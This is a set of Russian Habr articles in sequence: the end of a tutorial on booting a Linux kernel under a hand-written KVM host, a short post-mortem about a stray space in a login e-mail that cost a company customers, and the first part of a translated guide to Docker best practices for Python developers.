sregs.ds.limit = ~0;
sregs.ds.g = 1;
sregs.fs.base = 0;
sregs.fs.limit = ~0;
sregs.fs.g = 1;
sregs.gs.base = 0;
sregs.gs.limit = ~0;
sregs.gs.g = 1;
sregs.es.base = 0;
sregs.es.limit = ~0;
sregs.es.g = 1;
sregs.ss.base = 0;
sregs.ss.limit = ~0;
sregs.ss.g = 1;
sregs.cs.db = 1;
sregs.ss.db = 1;
sregs.cr0 |= 1; // enable protected mode
regs.rflags = 2;
regs.rip = 0x100000; // This is where our kernel code starts
regs.rsi = 0x10000; // This is where our boot parameters start
```
Каковы параметры загрузки и почему нельзя просто загрузить ядро по нулевому адресу? Пришло время узнать больше о формате bzImage.
Образ ядра следует специальному «протоколу загрузки», где есть фиксированный заголовок с параметрами загрузки, за которым следует фактический байт-код ядра. [Здесь](https://www.kernel.org/doc/html/latest/x86/boot.html#the-real-mode-kernel-header) описан формат загрузочного заголовка.
### Загрузка образа ядра
Чтобы правильно загрузить образ ядра в виртуальную машину, нам нужно сначала прочитать весь файл bzImage. Мы смотрим на смещение 0x1f1 и получаем оттуда количество секторов настройки. Мы пропустим их, чтобы узнать, где начинается код ядра. Кроме того, мы скопируем параметры загрузки из начала bzImage в область памяти для параметров загрузки виртуальной машины (0x10000).
Но даже этого будет недостаточно. Нам нужно будет исправить параметры загрузки для нашей виртуальной машины, чтобы принудительно перейти в режим VGA и инициализировать указатель командной строки.
Наше ядро должно выводить логи на ttyS0, чтобы мы могли перехватить ввод-вывод и наш виртуальный компьютер распечатал его на stdout. Для этого нам нужно добавить **«console = ttyS0»** в командную строку ядра.
Но даже после этого мы не получим никакого результата. Мне пришлось установить поддельный идентификатор процессора для нашего ядра (https://www.kernel.org/doc/Documentation/virtual/kvm/cpuid.txt). Скорее всего, ядро, которое я собрал, полагалось на эту информацию, чтобы определить, работает ли оно внутри гипервизора или на голом железе.
Я использовал ядро, скомпилированное с «крошечной» конфигурацией, и настроил несколько флагов конфигурации для поддержки терминала и virtio (фреймворк виртуализации ввода-вывода для Linux).
Полный код модифицированного хоста KVM и тестового образа ядра доступны [здесь](https://gist.github.com/zserge/ae9098a75b2b83a1299d19b79b5fe488).
> Если этот образ не запустился, можно использовать другой образ, доступный по [данной ссылке](https://gist.github.com/ricarkol/60511f3a4d213bbb700b99429c04088e).
Если мы скомпилируем его и запустим, мы получим следующий результат:
```
Linux version 5.4.39 (serge@melete) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~16.04~ppa1)) #12 Fri May 8 16:04:00 CEST 2020
Command line: console=ttyS0
Intel Spectre v2 broken microcode detected; disabling Speculation Control
Disabled fast string operations
x86/fpu: Supporting XSAVE feature 0x001: 'x87 floating point registers'
x86/fpu: Supporting XSAVE feature 0x002: 'SSE registers'
x86/fpu: Supporting XSAVE feature 0x004: 'AVX registers'
x86/fpu: xstate_offset[2]: 576, xstate_sizes[2]: 256
x86/fpu: Enabled xstate features 0x7, context size is 832 bytes, using 'standard' format.
BIOS-provided physical RAM map:
BIOS-88: [mem 0x0000000000000000-0x000000000009efff] usable
BIOS-88: [mem 0x0000000000100000-0x00000000030fffff] usable
NX (Execute Disable) protection: active
tsc: Fast TSC calibration using PIT
tsc: Detected 2594.055 MHz processor
last_pfn = 0x3100 max_arch_pfn = 0x400000000
x86/PAT: Configuration [0-7]: WB WT UC- UC WB WT UC- UC
Using GB pages for direct mapping
Zone ranges:
DMA32 [mem 0x0000000000001000-0x00000000030fffff]
Normal empty
Movable zone start for each node
Early memory node ranges
node 0: [mem 0x0000000000001000-0x000000000009efff]
node 0: [mem 0x0000000000100000-0x00000000030fffff]
Zeroed struct page in unavailable ranges: 20322 pages
Initmem setup node 0 [mem 0x0000000000001000-0x00000000030fffff]
[mem 0x03100000-0xffffffff] available for PCI devices
clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645519600211568 ns
Built 1 zonelists, mobility grouping on. Total pages: 12253
Kernel command line: console=ttyS0
Dentry cache hash table entries: 8192 (order: 4, 65536 bytes, linear)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes, linear)
mem auto-init: stack:off, heap alloc:off, heap free:off
Memory: 37216K/49784K available (4097K kernel code, 292K rwdata, 244K rodata, 832K init, 916K bss, 12568K reserved, 0K cma-reserved)
Kernel/User page tables isolation: enabled
NR_IRQS: 4352, nr_irqs: 24, preallocated irqs: 16
Console: colour VGA+ 142x228
printk: console [ttyS0] enabled
APIC: ACPI MADT or MP tables are not detected
APIC: Switch to virtual wire mode setup with no configuration
Not enabling interrupt remapping due to skipped IO-APIC setup
clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x25644bd94a2, max_idle_ns: 440795207645 ns
Calibrating delay loop (skipped), value calculated using timer frequency.. 5188.11 BogoMIPS (lpj=10376220)
pid_max: default: 4096 minimum: 301
Mount-cache hash table entries: 512 (order: 0, 4096 bytes, linear)
Mountpoint-cache hash table entries: 512 (order: 0, 4096 bytes, linear)
Disabled fast string operations
Last level iTLB entries: 4KB 64, 2MB 8, 4MB 8
Last level dTLB entries: 4KB 64, 2MB 0, 4MB 0, 1GB 4
CPU: Intel 06/3d (family: 0x6, model: 0x3d, stepping: 0x4)
Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Spectre V2 : Spectre mitigation: kernel not compiled with retpoline; no mitigation available!
Speculative Store Bypass: Vulnerable
TAA: Mitigation: Clear CPU buffers
MDS: Mitigation: Clear CPU buffers
Performance Events: Broadwell events, 16-deep LBR, Intel PMU driver.
...
```
Очевидно, это по-прежнему довольно бесполезный результат: нет initrd или корневого раздела, нет реальных приложений, которые могли бы работать в этом ядре, но все же это доказывает, что KVM не такой уж страшный и довольно мощный инструмент.
### Вывод
Чтобы запустить полноценный Linux, хост виртуальной машины должен быть намного более продвинутым — нам нужно смоделировать несколько драйверов ввода-вывода для дисков, клавиатуры, графики. Но общий подход останется прежним, например, нам потребуется настроить параметры командной строки для initrd аналогичным образом. Для дисков нужно будет перехватывать ввод-вывод и отвечать должным образом.
Однако никто не заставляет вас использовать KVM напрямую. Существует [libvirt](https://libvirt.org/), приятная дружественная библиотека для технологий низкоуровневой виртуализации, таких как KVM или BHyve.
Если вам интересно узнать больше о KVM, я предлагаю посмотреть исходники [kvmtool](https://git.kernel.org/pub/scm/linux/kernel/git/will/kvmtool.git/tree/). Их намного легче читать, чем QEMU, а весь проект намного меньше и проще.
Надеюсь, вам понравилась статья.
Вы можете следить за новостями на [Github](https://github.com/zserge), в [Twitter](https://twitter.com/zsergo) или подписываться через [rss](https://zserge.com/rss.xml).
> Ссылки на GitHub Gist с примерами на Python от эксперта Timeweb: [(1)](https://gist.github.com/twdrozhevskij/6366d688c5b9a592ad841724e03b56a9) и [(2)](https://gist.github.com/twdrozhevskij/a772b29460e2538f5a92c62687d1324d). | https://habr.com/ru/post/526818/ | null | ru | null |
# Сколько может стоить один лишний пробел?
Произошла курьезная и очень болезненная ситуация одновременно.
У нас много зарегистрированных клиентов и много из них тех, кто ни разу не входил в систему.
Писать клиентам по таким вопросами бесполезно — мало кто из обиженных клиентов ответит почему он обиделся.
Поэтому мы не поленились и начали тупо всем звонить и спрашивать, почему, мол, так и не зашли?
Ответ был почти у всех одинаковый:
> -Мы не смогли ввести логин пароль.
Результат расследования отправил всех в глубоких шок.
Чтобы понять причину этого, мы нашли лояльных клиентов из числа тех, кто ни разу не смог войти, и до последних мельчайших деталей воспроизвели всю последовательность событий.
Форма авторизации настроена так, что если пользователь вводит неправильный символ в поле «логин», система выдает об этом сообщение и не дает пользователю покинуть это поле пока не будет исправлена ошибка. По этой логике пользователь всегда понимает какой именно символ был введен неправильно.
Логин и пароль на доступ в систему приходил электронным письмом. Люди копипастили логин из письма и вместе с ним копировался лишний пробел на конце!
Т.е. если в поле логина есть пробел, система не выпускает фокус и
в итоге люди не могли даже начать вводить пароль.
Проблеме этой было примерно 3-4 месяца. На вскидку, из-за того что примерно 120-150 человек из тех кто хотел платить деньги за сервис просто не смогли зайти и жестко обиделись, этот пробел нам стоил примерно 500 т.р. Плюс минус 90 т.р.
Проблемы было две:
1. в шаблоне почтового уведомления после логина стоял лишний пробел:
`Логин для входа: %3$s`
Проблемное место вот здесь`"%3$s "`
Решили просто правкой шаблона. Теперь лишних пробелов при копипасте нет.
2. В форме авторизации не было обработки на ввод строки с некорректными символом
Тут для решения проблемы решили сделать так: Перед валидацией, сначала делаем trim, потом регуляркой вычищаем все что может помешать. К моменту проверки корректности самого логина(а в качестве логина используется e-mail) мы имеем полностью очищенную строку. А задача валидартора уже дать оценку похоже это на email и есть ли он в нашей базе.
Т.е получается так что сначала строка нормализуется а только потом валидируется. Этот подход решено было внедрить везде. Валидаторы всех форм и полей ввода были снабжены функциями предварительной нормализации, в зависимости от типа данных конечно.
Все члены команды разработки [mm24.com](https://mm24.com/ru/static/land?habr) занимаются вебом не менее 10 лет. И тем глупее мы выглядели в своих же глазах.
Ситуация никогда не проявилась бы, если в шаблоне уведомления не было лишнего пробела. Или в форме авторизации было предусмотрено более информативное сообщение, которое точно показывало на причину сообщения об ошибке.
Возможно наш печальный пример кому-то окажется полезным. | https://habr.com/ru/post/230401/ | null | ru | null |
# Практические рекомендации по работе с Docker для Python-разработчиков
*Прим. Wunder Fund: в этой длииинной статье вы найдете ряд полезных советов по работе с Docker, как общего характера, так и Python-специфичных. Хоть мы и давно используем Docker в работе, про некоторые советы мы подумали "а что, так можно было?". Советуем вначале пролистать статью, и отметить штуки, которые покажутся актуальными для вашей текущей ситуации.*
Файлы Dockerfile
----------------
### 1. Используйте многоэтапные сборки
Воспользуйтесь многоэтапными сборками для того, чтобы создавать более компактные и лучше защищённые образы Docker.
[Многоэтапные сборки Docker](https://docs.docker.com/develop/develop-images/multistage-build/) позволяют разделять выполнение действий, описываемых в файлах Dockerfile, на несколько этапов. Например, можно выделить этап компиляции и сборки приложения, а тем, что получится после прохождения этого этапа, можно воспользоваться на следующих этапах. Так как для создания образа используется лишь один, финальный этап, зависимости и инструменты, связанные с подготовкой приложения к работе, в итоговый образ не входят, что позволяет выйти на компактный, модульный образ, готовый к использованию в продакшне.
Вот пример файла Dockerfile из сферы веб-разработки:
```
# Этап, на котором выполняются подготовительные действия
FROM python:3.9-slim as builder
WORKDIR /app
ENV PYTHONDONTWRITEBYTECODE 1
ENV PYTHONUNBUFFERED 1
RUN apt-get update && \
apt-get install -y --no-install-recommends gcc
COPY requirements.txt .
RUN pip wheel --no-cache-dir --no-deps --wheel-dir /app/wheels -r requirements.txt
# Финальный этап
FROM python:3.9-slim
WORKDIR /app
COPY --from=builder /app/wheels /wheels
COPY --from=builder /app/requirements.txt .
RUN pip install --no-cache /wheels/*
```
В этом примере для установки определённых Python-пакетов требуется компилятор [GCC](https://gcc.gnu.org/). Поэтому мы описываем в файле этап, нужный лишь во время сборки проекта. Так как финальный образ, который будет использоваться для запуска проекта, не включает в себя GCC, этот образ получается компактнее и безопаснее, чем он был бы, если бы в его состав входил этот компилятор.
Сравним размеры образов:
```
REPOSITORY TAG IMAGE ID CREATED SIZE
docker-single latest 8d6b6a4d7fb6 16 seconds ago 259MB
docker-multi latest 813c2fa9b114 3 minutes ago 156MB
```
Вот пример Dockerfile из сферы Data Science:
```
# Этап, на котором выполняются подготовительные действия
FROM python:3.9 as builder
RUN pip wheel --no-cache-dir --no-deps --wheel-dir /wheels jupyter pandas
# Финальный этап
FROM python:3.9-slim
WORKDIR /notebooks
COPY --from=builder /wheels /wheels
RUN pip install --no-cache /wheels/*
```
Сравним размеры образов:
```
REPOSITORY TAG IMAGE ID CREATED SIZE
ds-multi latest b4195deac742 2 minutes ago 357MB
ds-single latest 7c23c43aeda6 6 minutes ago 969MB
```
В итоге можно отметить, что применение многоэтапных сборок позволяет выходить на более компактные продакшн-образы, что способствует экономии времени и денег. Это, кроме того, позволяет упростить продакшн-контейнеры. Благодаря тому, что образы имеют меньшие размеры, чем при использовании обычных сборок, и тому, что устроены они проще, поверхность атаки таких образов, в потенциале, меньше, чем у обычных образов.
### 2. Располагайте команды в файлах Dockerfile в надлежащем порядке
Обращайте особое внимание на порядок расположения команд в файлах Dockerfile для того чтобы пользоваться возможностями Docker по кешированию слоёв.
Docker выполняет кеширование каждого шага (или слоя) при обработке файлов Dockerfile для того чтобы ускорить выполнение следующих шагов. Когда содержимое слоя меняется, кеш подвергается инвалидации, причём речь идёт не только о кеше изменённого слоя, но и о кешах всех следующих за ним слоёв.
Вот пример:
```
FROM python:3.9-slim
WORKDIR /app
COPY sample.py .
COPY requirements.txt .
RUN pip install -r /requirements.txt
```
В этом Dockerfile мы скопировали код приложения до установки зависимостей с использованием файла `requirements.txt`. Теперь каждый раз, когда мы будем менять `sample.py`, будет осуществляться и переустановка пакетов-зависимостей. Это весьма неэффективный подход, особенно при использовании контейнера Docker для организации среды разработки. В результате важно, чтобы работа с файлами, которые часто меняются, была бы описана в слоях, которые описаны ближе к концу Dockerfile.
Выполнение нежелательных операций по инвалидации кеша можно предотвратить, воспользовавшись файлом `.dockerignore`. Это позволяет исключить попадание ненужных файлов в контекст сборки и в финальный образ Docker. Мы ещё затронем эту тему.
Итак, для улучшения ситуации с кешированием, в вышеприведённом Dockerfile стоит перенести команду `COPY sample.py .` в конец файла:
```
FROM python:3.9-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install -r /requirements.txt
COPY sample.py .
```
Обратите внимание на следующее:
1. Составляя файлы Dockerfile, всегда старайтесь размещать слои, которые, вероятнее всего, будут меняться как можно ближе к концу файла.
2. Комбинируйте команды `RUN apt-get update` и `RUN apt-get install`. (Это, кроме того, положительно сказывается на размерах файлов. Мы ещё об этом поговорим.)
3. Если вам нужно отключить кеширование для конкретной Docker-сборки — воспользуйтесь опцией `--no-cache=True`.
### 3. Стремитесь к использованию как можно более компактных базовых образов Docker
Маленькие образы Docker отличаются более высоким уровнем модульности и безопасности, чем более крупные образы.
Чем меньше образ — тем быстрее осуществляется его сборка, загрузка в репозиторий и скачивание из репозитория. Компактные образы, кроме того, обычно безопаснее больших образов, так как в их состав входят только библиотеки и системные зависимости, которые необходимы для запуска приложения.
Каким именно базовым образом Docker стоит пользоваться?
На этот вопрос, к сожалению, нет однозначного ответа. Всё зависит от конкретной ситуации.
Вот сравнение размеров различных базовых Docker-образов для Python:
```
REPOSITORY TAG IMAGE ID CREATED SIZE
python 3.9.6-alpine3.14 f773016f760e 3 days ago 45.1MB
python 3.9.6-slim 907fc13ca8e7 3 days ago 115MB
python 3.9.6-slim-buster 907fc13ca8e7 3 days ago 115MB
python 3.9.6 cba42c28d9b8 3 days ago 886MB
python 3.9.6-buster cba42c28d9b8 3 days ago 886MB
```
Хотя образ 3.9.6-alpine3.14, основанный на [Alpine Linux](https://www.alpinelinux.org/), является самым компактным в этом списке, его применение часто приводит к увеличению времени сборки образа. Это происходит в том случае, если не удаётся найти нужные предварительно скомпилированные исполняемые файлы, которые будут в нём работать. В результате при выборе такого образа необходимые бинарники может понадобиться собирать самостоятельно, а это способно привести к увеличению размеров образа (что зависит от необходимых зависимостей системного уровня) и к увеличению времени сборки (из-за необходимости компиляции чего-либо из исходного кода).
Если вас интересуют подробности о том, почему в Python-проектах лучше не использовать базовые образы, основанные на Alpine Linux — взгляните на [этот](https://pythonspeed.com/articles/base-image-python-docker-images/) и [этот](https://pythonspeed.com/articles/alpine-docker-python/) материалы.
В результате, можно сказать, что подбор базового образа — это вопрос баланса. Если вы не можете решить, какой именно образ выбрать для разработки приложения, остановитесь на \*-slim-разновидности интересующего вас образа. Особенно — если речь идёт об образе, используемом в процессе разработки. Процесс разработки упрощает отсутствие необходимости в постоянном обновлении Dockerfile для установки нужных зависимостей системного уровня при добавлении в проект новых Python-пакетов. А когда речь идёт о подготовке приложения и файлов Dockerfile к прощакшн-использованию, об оптимизации размеров и уменьшении поверхности атаки готового решения, вероятно, есть смысл рассмотреть возможность использования Alpine Linux-образа в роли базы для финального образа, полученного на выходе многоэтапной сборки.
Кроме того, не забывайте регулярно обновлять используемые вами базовые образы. Это способствует улучшению уровня безопасности и производительности готового решения. Когда выходит новая версия базового образа (например, в проекте используется 3.9.6-slim, а вышла 3.9.7-slim), стоит скачать новый образ и обновить работающие контейнеры, что позволит оснастить их самыми свежими патчами безопасности.
### 4. Минимизируйте количество слоёв образов
Комбинировать, всегда, когда это возможно, команды `RUN`, `COPY` и `ADD` — это отличная идея. Дело в том, что использование этих команд приводит к созданию слоёв. Каждый слой увеличивает размер образа, так как слои кешируются. В результате по мере того, как растёт количество слоёв, входящих в образ, растёт и размер образа.
Исследовать этот вопрос для конкретного образа можно с помощью команды `docker history`:
```
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
dockerfile latest 180f98132d02 51 seconds ago 259MB
$ docker history 180f98132d02
IMAGE CREATED CREATED BY SIZE COMMENT
180f98132d02 58 seconds ago COPY . . # buildkit 6.71kB buildkit.dockerfile.v0
58 seconds ago RUN /bin/sh -c pip install -r requirements.t… 35.5MB buildkit.dockerfile.v0
About a minute ago COPY requirements.txt . # buildkit 58B buildkit.dockerfile.v0
About a minute ago WORKDIR /app
...
```
Обратите внимание на размеры. Только использование команд `RUN`, `COPY` и `ADD` приводит к увеличению размеров образа. Уменьшить размер образа можно, комбинируя эти команды всегда, когда это возможно. Вот пара команд:
```
RUN apt-get update
RUN apt-get install -y netcat
```
Их можно скомбинировать в одну:
```
RUN apt-get update && apt-get install -y netcat
```
В результате вместо двух слоёв будет создан один слой, что приведёт к уменьшению размеров финального образа.
Хотя сокращение числа слоёв, входящих в образ — это, в целом, хорошо, важно понимать, что не стоит видеть своей главной целью именно это, что главное тут — побочный эффект, выражающийся в уменьшении размеров образа и в сокращении времени сборки образа. Другими словами, рекомендуется уделять больше внимания трём предыдущим советам (многоэтапным сборкам, порядку команд в Dockerfile, подбору компактных базовых образов), а не пытаться оптимизировать абсолютно все команды.
Размышляя о слоях, из которых состоит образ, учитывайте следующее:
1. Использование команд `RUN`, `COPY` и `ADD` приводит к созданию слоёв.
2. Каждый слой содержит сведения о его отличиях от предыдущего слоя.
3. Слои увеличивают размеры финального образа.
Вот несколько дополнительных советов, касающихся работы со слоями:
1. Комбинируйте взаимосвязанные команды.
2. Удаляйте ненужные файлы, находясь в том же слое, созданном командой `RUN`, в котором они созданы.
3. Минимизируйте число вызовов `apt-get upgrade`, так как эта команда обновляет все пакеты, которые можно обновить, до их последних версий.
4. При использовании многоэтапных сборок не уделяйте слишком много времени тонкой оптимизации команд этапов, на которых выполняются подготовительные действия.
И, наконец, чтобы улучшить читабельность кода команд, списки аргументов, разбитые на несколько строк, имеет смысл располагать в алфавитно-цифровом порядке:
```
RUN apt-get update && apt-get install -y \
git \
gcc \
matplotlib \
pillow \
&& rm -rf /var/lib/apt/lists/*
```
### 5. Используйте непривилегированные контейнеры
По умолчанию Docker выполняет процессы в контейнере с root-правами. Но это порочная практика, так как процесс с root-правами, выполняющийся внутри контейнера, выполняется с root-правами и на Docker-хосте. Из этого следует, что, если злоумышленник получит доступ к контейнеру, то у него будет возможность воспользоваться всеми root-привилегиями. В результате он сможет атаковать и Docker-хост. Например, речь идёт о следующих атаках:
1. Копирование секретной информации из файловой системы хоста в контейнер.
2. Выполнение удалённых команд.
Для того чтобы не допустить подобного — обеспечьте выполнение контейнеризованных процессов с правами пользователей, не являющихся root-пользователями:
```
RUN addgroup --system app && adduser --system --group app
USER app
```
Можно пойти и ещё дальше, отключив пользователю shell-доступ и отказавшись от создания его домашней директории:
```
RUN addgroup --gid 1001 --system app && \
adduser --no-create-home --shell /bin/false --disabled-password --uid 1001 --system --group app
USER app
```
Проверим эту конфигурацию:
```
$ docker run -i sample id
uid=1001(app) gid=1001(app) groups=1001(app)
```
Здесь контейнеризованное приложение запускается с правами пользователя, не являющегося root-пользователем. Но, принимая во внимание вышесказанное, учитывайте то, что демон Docker и сам контейнер при этом запускаются с root-привилегиями. Для того чтобы наладить запуск демона и контейнеров без root-привилегий — обратитесь к [этому](https://docs.docker.com/engine/security/rootless/) разделу документации Docker.
### 6. Если это возможно — используйте COPY вместо ADD
Если вы уверены в том, что вам не нужны дополнительные возможности, которые даёт команда `ADD` — используйте команду `COPY`.
В чём разница между `COPY` и `ADD`? Обе команды позволяют копировать в Docker-образы файлы из различных мест:
```
ADD
COPY
```
Хотя, похоже, что эти команды предназначены для решения одной и той же задачи, команда `ADD` отличается некоторыми дополнительными возможностями:
* Команда `COPY` используется для копирования с Docker-хоста в образ локальных файлов и директорий.
* Команду `ADD` можно использовать и для решения той же задачи, и для загрузки в образ файлов из внешних источников. Кроме того, если речь идёт об исходных файлах ( в вышеприведённом описании команд), которые представляют собой архивы (хранящиеся в форматах tar, gzip, bzip2 и так далее), команда `ADD` автоматически распакует такие файлы в целевую директорию.
```
# Копирование локальных файлов с хоста в целевую директорию
COPY /source/path /destination/path
ADD /source/path /destination/path
# Загрузка внешнего файла и копирование его в целевую директорию
ADD http://external.file/url /destination/path
# Копирование и распаковка локального сжатого файла
ADD source.file.tar.gz /destination/path
```
### 7. Кешируйте Python-пакеты на Docker-хосте
Когда изменяется файл `requirements.txt` — для установки новых пакетов нужно пересобрать образ. Данные предыдущих шагов будут кешированы, речь об этом шла в разделе «Минимизируйте количество слоёв». Загрузка всех пакетов при повторной сборке образа может привести к необходимости передачи больших объёмов данных по сети и может занять много времени. При каждой пересборке образа на загрузку обычных пакетов, используемых в разных образах, уходит примерно одно и то же время.
Избежать этого можно, указав локальную директорию, расположенную на хост-машине, в качестве директории, в которой хранится pip-кеш. После того как пакеты загружаются, они сохраняются в локальном кеше, что может ускорить операции повторной сборки образов, в которых используются эти пакеты.
Место для кеширования пакетов можно указать в виде опции при запуске Docker `(-v $HOME/.cache/pip-docker/:/root/.cache/pip`), назначение соответствующей директории директорией, где хранится кеш, можно описать и в файле настройки Docker Compose.
В коде, показанном выше, приведён лишь пример директории с кешем. Вы же можете выбрать ту директорию, которая вам нужна. Проверьте, чтобы в качестве директории, где хранится кеш, была бы назначена правильная директория, а не та, в которой хранятся пакеты, имеющие отношение к конкретному проекту (та, где находятся пакеты, используемые при сборке).
Перемещение кеша из Docker-образа на хост может помочь в деле уменьшения размеров финального образа.
Если вы применяете [Docker BuildKit](https://docs.docker.com/develop/develop-images/build_enhancements/), можно для управления кешем воспользоваться ключом `--mount=type=cache`:
```
# syntax = docker/dockerfile:1.2
...
COPY requirements.txt .
RUN --mount=type=cache,target=/root/.cache/pip \
pip install -r requirements.txt
...
```
### 8. Запускайте в одном контейнере лишь один процесс
Почему рекомендуется запускать в одном контейнере лишь один процесс?
Представим, что стек вашего приложения состоит из двух веб-серверов и одного сервера базы данных. Хотя и можно, без особых сложностей, запустить все эти сервисы в одном контейнере, каждый из них следует запускать в отдельном контейнере, что облегчает повторное использование и масштабирование каждого отдельного сервиса. Можно отметить следующие сильные стороны такого решения:
1. **Масштабируемость**: если каждый сервис работает в собственном контейнере — можно горизонтально масштабировать веб-серверы в том случае, если возникнет необходимость в обработке большего, чем обычно, объёма трафика.
2. **Возможность повторного использования кода**: может быть, у вас есть другой сервис, нуждающийся в контейнеризованном сервере базы данных. Если у вас есть такой сервер, оформленный в виде отдельного контейнера, этот контейнер можно легко использовать повторно, не сталкиваясь при этом с дополнительной нагрузкой в виде двух ненужных веб-серверов, находящихся в том же контейнере.
3. **Логирование**: если в одном контейнере работают разные сервисы — это значительно усложняет задачу логирования. Подробнее об этом мы поговорим ниже.
4. **Переносимость и предсказуемость**: гораздо легче устанавливать патчи безопасности или заниматься отладкой в том случае, если речь идёт об одном процессе, а не о нескольких.
### Всегда, когда это возможно, используйте exec-формы инструкций CMD и ENTRYPOINT
Инструкции `CMD` и `ENTRYPOINT` в файлах Dockerfile можно оформлять с использованием массивов (exec-форма) или с использованием строк (shell-форма):
```
# массив (exec)
CMD ["gunicorn", "-w", "4", "-k", "uvicorn.workers.UvicornWorker", "main:app"]
# строка (shell)
CMD "gunicorn -w 4 -k uvicorn.workers.UvicornWorker main:app"
```
Оба способа оформления этих инструкций корректны и позволяют добиться практически одного и того же результата, но, всегда, когда это возможно, следует использовать их exec-форму. Вот что об этом сказано в [документации](https://docs.docker.com/compose/faq/#why-do-my-services-take-10-seconds-to-recreate-or-stop) Docker:
1. Постарайтесь использовать в файлах Dockerfile exec-форму инструкций `CMD` и `ENTRYPOINT`.
2. Например, пользуйтесь конструкцией вида `[«program», «arg1», «arg2»]`, а не вида `«program arg1 arg2»`. Использование строковой формы инструкций приводит к тому, что Docker запускает процесс с использованием bash, что ведёт к неправильной обработке сигналов. Compose всегда использует JSON-форму, поэтому не беспокойтесь, если переопределите `CMD` или `ENTRYPOINT` в Compose-файле.
Итак, из-за того, что большинство оболочек не передают сигналы дочерним процессам, при использовании shell-формы команд сочетание клавиш `CTRL+C` (которое генерирует `SIGTERM`) может не остановить дочерний процесс.
Вот пример:
```
FROM ubuntu:18.04
# Плохо: shell-формат
ENTRYPOINT top -d
# Хорошо: exec-формат
ENTRYPOINT ["top", "-d"]
```
Попробуйте оба варианта. Обратите внимание на то, что при использовании shell-формата сочетание клавиш `CTRL+C` не «убивает» процесс. Вместо этого можно увидеть `^C^C^C^C^C^C^C^C^C^C^C`.
Ещё один недостаток shell-формата заключается в том, что при его использовании мы имеем дело с PID командной оболочки, а не самого процесса.
```
# exec-формат
root@18d8fd3fd4d2:/app# ps ax
PID TTY STAT TIME COMMAND
1 ? Ss 0:00 python manage.py runserver 0.0.0.0:8000
7 ? Sl 0:02 /usr/local/bin/python manage.py runserver 0.0.0.0:8000
25 pts/0 Ss 0:00 bash
356 pts/0 R+ 0:00 ps ax
# shell-формат
root@ede24a5ef536:/app# ps ax
PID TTY STAT TIME COMMAND
1 ? Ss 0:00 /bin/sh -c python manage.py runserver 0.0.0.0:8000
8 ? S 0:00 python manage.py runserver 0.0.0.0:8000
9 ? Sl 0:01 /usr/local/bin/python manage.py runserver 0.0.0.0:8000
13 pts/0 Ss 0:00 bash
342 pts/0 R+ 0:00 ps ax
```
### Разберитесь с различиями инструкций ENTRYPOINT и CMD
Что использовать для запуска контейнеризованных процессов? `ENTRYPOINT` или `CMD`?
Существует два способа запуска команд в контейнере:
```
CMD ["gunicorn", "config.wsgi", "-b", "0.0.0.0:8000"]
# и
ENTRYPOINT ["gunicorn", "config.wsgi", "-b", "0.0.0.0:8000"]
```
Обе, в общем-то, решают одну и ту же задачу: запускают приложение `config.wsgi` с помощью сервера Gunicorn и привязывают его к `0.0.0.0:8000`.
Инструкцию `CMD` легко переопределить. Если для запуска контейнера воспользоваться командой вида `docker run uvicorn config.asgi`, то аргументы вышеприведённой инструкции `CMD` будут заменены новыми аргументами (например — `uvicorn config.asgi`). А вот для переопределения `ENTRYPOINT` придётся приложить некоторые усилия, которые заключаются в использовании опции `--entrypoint`:
```
docker run --entrypoint uvicorn config.asgi
```
В данном случае совершенно очевидно то, что мы переопределяем `ENTRYPOINT`. Поэтому рекомендуется пользоваться `ENTRYPOINT`, а не `CMD` для того, чтобы не допустить случайного переопределения некоей инструкции.
Эти инструкции, кроме того, можно использовать и совместно.
Например:
```
ENTRYPOINT ["gunicorn", "config.wsgi", "-w"]
CMD ["4"]
```
Когда они, как здесь, используются совместно, команда, которая выполняется при запуске контейнера, выглядит так:
```
gunicorn config.wsgi -w 4
```
Как уже было сказано, инструкцию `CMD` очень легко переопределить. В результате `CMD` можно использовать для передачи аргументов инструкции `ENTRYPOINT`. То есть — в данном случае предельно просто настроить число рабочих процессов:
```
docker run 6
```
Благодаря использованию такой команды контейнер будет запущен с шестью, а не с четырьмя рабочими процессами.
### 11. Пользуйтесь инструкцией HEALTHCHECK
Используйте инструкцию `HEALTHCHECK` для того, чтобы проверить то, что процесс, выполняемый в контейнере, не просто функционирует, а ещё и находится в «здоровом» состоянии.
Docker обладает API для проверки состояния процессов, выполняемых в контейнере. Этот API даёт о процессе больше сведений, чем лишь данные о том «работает» этот процесс или нет. Дело в том, что если процесс «работает» — это может означать и то, что он «находится в нормальном работоспособном состоянии», и то, что он «всё ещё запускается», и даже то, что он «ведёт себя неправильно и застрял в бесконечном цикле». Работать с этим API можно, используя инструкцию [HEALTHCHECK](https://docs.docker.com/engine/reference/builder/#healthcheck).
Например, если вы поддерживаете веб-приложение, вы можете воспользоваться следующей командой для того, чтобы узнать о том, работоспособна ли конечная точка `/`, и о том, может ли она обрабатывать запросы, обеспечивающие функционирование приложения:
```
HEALTHCHECK CMD curl --fail http://localhost:8000 || exit 1
```
Если выполнить команду `docker ps` — можно видеть результаты проверки `HEALTHCHECK`:
Вот — пример «здорового» контейнера:
```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
09c2eb4970d4 healthcheck "python manage.py ru…" 10 seconds ago Up 8 seconds (health: starting) 0.0.0.0:8000->8000/tcp, :::8000->8000/tcp xenodochial_clarke
```
Вот — пример контейнера, с которым что-то не так:
```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
09c2eb4970d4 healthcheck "python manage.py ru…" About a minute ago Up About a minute (unhealthy) 0.0.0.0:8000->8000/tcp, :::8000->8000/tcp xenodochial_clarke
```
Можно пойти ещё дальше и подготовить специальную конечную точку, предназначенную исключительно для проверки «здоровья» сервисов, а после этого настроить `HEALTHCHECK` на проверку возвращаемых этой конечной точкой данных. Например, если конечная точка возвращает JSON-ответ `{«ping»: «pong»}`, можно предложить `HEALTHCHECK` проверить на правильность тело ответа.
Вот как просмотреть результаты HEALTHCHECK-проверки с использованием `docker inspect`:
```
❯ docker inspect --format "{{json .State.Health }}" ab94f2ac7889
{
"Status": "healthy",
"FailingStreak": 0,
"Log": [
{
"Start": "2021-09-28T15:22:57.5764644Z",
